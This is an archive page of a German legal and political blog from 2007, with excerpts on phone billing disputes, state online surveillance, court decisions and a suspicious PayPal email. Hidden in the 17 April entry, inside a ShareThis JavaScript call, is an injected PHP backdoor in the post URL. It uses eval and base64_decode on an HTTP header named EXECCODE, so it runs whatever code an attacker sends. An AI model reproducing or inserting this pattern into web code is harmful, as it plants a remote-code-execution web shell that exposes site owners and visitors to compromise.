Archive for the ‘Recht, Gerechtigkeit, Unrecht’ Category
Montag, Juni 4th, 2007
Heute jagt ein Event das andere. Knapp 2 Stunden nach meinem ersten Telefonat heute mit BASE meldete sich eben mal wieder ein freundlicher Mitarbeiter der BASE Kundenbetreuung bei mir, und servierte mir endlich, was ich so lange erwartet hatte - eine Begründung für die 0,10€/min für Fax- und Datenverbindungen.
Und diese ...
Posted in Recht, Gerechtigkeit, Unrecht | 2 Comments »
Montag, Juni 4th, 2007
Über meine Odysee mit BASE hatte ich bereits einige Male berichtet. Konsequent weigerte man sich, zuzugeben, dass nach ihren Tarifinformationen Datenverbindungen kostenfrei sind, und nicht mit 0,10€ pro Minute abgerechnet werde dürfen.
Was mich nicht so sehr störte, solange man mir nach jeder Rechnung den erhobenen Betrag nach Widerspruch erstattete - ...
Posted in Recht, Gerechtigkeit, Unrecht | 1 Comment »
Mittwoch, Mai 23rd, 2007
Scheinbar neue Töne aus der SPD und CDU/CSU. Nach den Anschlägen auf die verfassungsmäßige demokratische Grundordnung in den letzten Monaten, mit denen man vorgeblich die innere Sicherheit zu schützten dachte, könnte man nun an einen Meinungsumschwung glauben.
Immerhin möchte man ein neues Grundrecht einführen.
Diese Welt [gemeint ist das Internet, Anm. Verf.] ...
Posted in Politik & News, Recht, Gerechtigkeit, Unrecht | No Comments »
Montag, Mai 7th, 2007
Dass "Pädophile" inzwischen gleich dem Kommunismus unter Mc Carthey an jeder Straßenecke vermutet wird, ist ja nichts neues.
Neu allerdings ist, dass die Staatsanwaltschaft Halle wegen des Verdachts auf Kinderpornographie in Second Life gegen unbekannt ermittelt. Ein Fall, der ausgerechnet bei Ermittler Vogt, der die umstrittene Operation Mikado angeleiert hat, gelandet ...
Posted in IT, Recht, Gerechtigkeit, Unrecht | 2 Comments »
Donnerstag, Mai 3rd, 2007
Vor einigen Tagen bekam ich die übliche Post von PAYPAL:
Guten Tag, XXX
Im Rahmen unserer Sicherheitsmaßnahmen prüfen wir regelmäßig alle Vorgänge im PayPal-System. Bei einer Überprüfung haben wir kürzlich ein Problem im Zusammenhang mit Ihrem Konto festgestellt.
Bearbeitungsnummer: XXX
Zu Ihrem Schutz haben wir den Zugriff auf Ihr Konto eingeschränkt, bis zusätzliche ...
Posted in IT, Recht, Gerechtigkeit, Unrecht | 13 Comments »
Mittwoch, April 25th, 2007
Wie die Bundesregierung auf Anfrage der FDP heute erklärt hat, ist die sog. Online-Durchsuchung bereits heute Realität.
Zumindest die Geheimdienste des Bundes sind bereits durch eine Dienstanweisung von Otto Schily zur Online-Durchsuchung berechtigt worden.
Im Urteil des Bundesverfassungsgericht zum großen Lauschangriff verwiesen die Richter 2004 aber auf einen Kernbereich privater Lebensführung, der ...
Posted in Politik & News, Recht, Gerechtigkeit, Unrecht | No Comments »
Mittwoch, April 18th, 2007
Eine wesentliche juristische Eigenschaft ist es, Argumente pro und contra bis auf ihre Atomkerne zu zerlegen und ihre einzelnen Teilchen kritisch zu prüfen. Das mag einem teilweise als seltsame Millimeterfickerei erscheinen, ist aber von großer Bedeutung, will man ein ausgewogenes und durchdachtes Urteil fällen.
Dass man sich dabei auch mit jenen ...
Posted in Recht, Gerechtigkeit, Unrecht, Sinn, Sein und Sinne | 4 Comments »
Dienstag, April 17th, 2007
Strafrechtsvorlesung Besonderer Teil 2.
Prof: Der Diebstahl ist in § 242 StGB geregelt.
Studentin meldet sich: Was heißt StGB?
Prof (trocken): Das StGB ist das Strafgesetzbuch.SHARETHIS.addEntry({ title: "StGB, BGB, AGB, EGBGB, MFG", url: "http://www.lawlita.com/2007/04/17/stgb-bgb-agb-egbgb-mfg/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/" });
Posted in Kurioses | No Comments »
Montag, April 9th, 2007
David Hicks wurde Ende März zu einer Gefängnisstrafe von 7 Jahren verurteilt, von denen er nur 9 Monate absitzen muss. Grund: Unterstützung des Freiheitskampfes Terrorismus.
Der Deal mit dem Militärgericht, der ihm dieses milde Urteil bescherte, sieht unter anderem vor, ein Jahr lang keine Interviews geben zu dürfen. Darüber hinaus musste ...
Posted in Politik & News, Recht, Gerechtigkeit, Unrecht | 1 Comment »
Freitag, März 23rd, 2007
Lutz Forster schreibt darüber, Oeffinger Freidenker ebenfalls und auch politikblog.net fürchtet Böses.
Durch eine Hintertür in der neuen EU-Verfassung komme die Todesstrafe zurück. Um zu verstehen, warum an dieser Auffassung wenig dran ist, bedarf eines kleinen politischen und juristischen Exkurses.
In Erinnerung rufen muss man sich zunächst, als was die europäische Union ...
Posted in Politik & News, Recht, Gerechtigkeit, Unrecht | 14 Comments »
Mittwoch, März 21st, 2007
Klare Worte findet das AG Duisburg in seiner Entscheidung 46 K 361/04:
Unter Bezugnahme auf den anstehenden Versteigerungstermin hat der Schuldner mit Schreiben vom 18. Januar 2006, bei Gericht eingegangen am 21. Januar 2006, beantragt, das gesamte Verfahren für rechtswidrig zu erklären. Er ist der Ansicht, das Grundgesetz sei am 17. ...
Posted in Kurioses, Recht, Gerechtigkeit, Unrecht, Urteile | No Comments »
Mittwoch, März 21st, 2007
Nach Ansicht von Oeffinger ist das Bundesverfassungsgericht der Stadt Regensburg ordentlich an den Karren gefahren, indem es dieser untersagte, ein israelisches Kunstwerk/Denkmal mit 4 Kameras zu überwachen. Telepolis schreibt dazu:
Für die Einschränkung des Grundrechts auf informationelle Selbstbestimmung liege in diesem Fall kein hinreichender Anlass vor [Hervorhebung vom Verfasser]. Damit will ...
Posted in Recht, Gerechtigkeit, Unrecht, Urteile | No Comments »
Mittwoch, März 7th, 2007
Nach den Feststellungen des Landgerichts fand das Tatgeschehen vor dem Hintergrund von Streitigkeiten zwischen Türken und Kurden in der Stadt N. statt. Am Tattag hat der Angeklagte (ein Türke), nachdem er von S. (einem Kurden) dazu aufgefordert worden war, sein Kraftfahrzeug geparkt und ist ausgestiegen. Er rechnete angesichts einer Auseinandersetzung ...
Posted in Urteile | No Comments »
Montag, Februar 26th, 2007
Bettina Winsemann, alias Twister, hat den Text ihrer Verfassungsbeschwerde gegen das nordrheinwestfälische Verfassungschutzgesetz im Volltext zur Verfügung gestellt. Dieses nimmt eine Vorreiterrolle bei sogenannte Onlinedurchsuchungen ein. Einsehen lässt sich die Beschwerde bei Telepolis.
Sollte Twister damit Erfolg haben, wofür vieles spricht, wäre das ein Schlag vor den Bug für Schäubles fanatischen ...
Posted in Recht, Gerechtigkeit, Unrecht | No Comments »
